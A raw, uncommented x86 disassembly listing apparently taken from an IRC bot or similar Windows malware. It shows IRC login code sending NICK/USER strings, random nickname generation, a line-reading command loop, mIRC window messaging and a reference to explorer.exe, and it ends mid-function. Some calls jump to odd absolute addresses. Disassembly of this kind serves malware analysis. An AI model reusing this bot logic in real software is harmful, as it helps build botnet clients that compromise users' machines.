		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387A4


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF0[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF0[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	near ptr 2660D84h
		nop
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27B0692h
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27B0000h
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27C01C4h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27C0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		call	near ptr 27B0BC8h
		nop
		push	edi
		nop
		call	near ptr 2640871h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB030
		test	eax, eax
		jz	short loc_418332
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
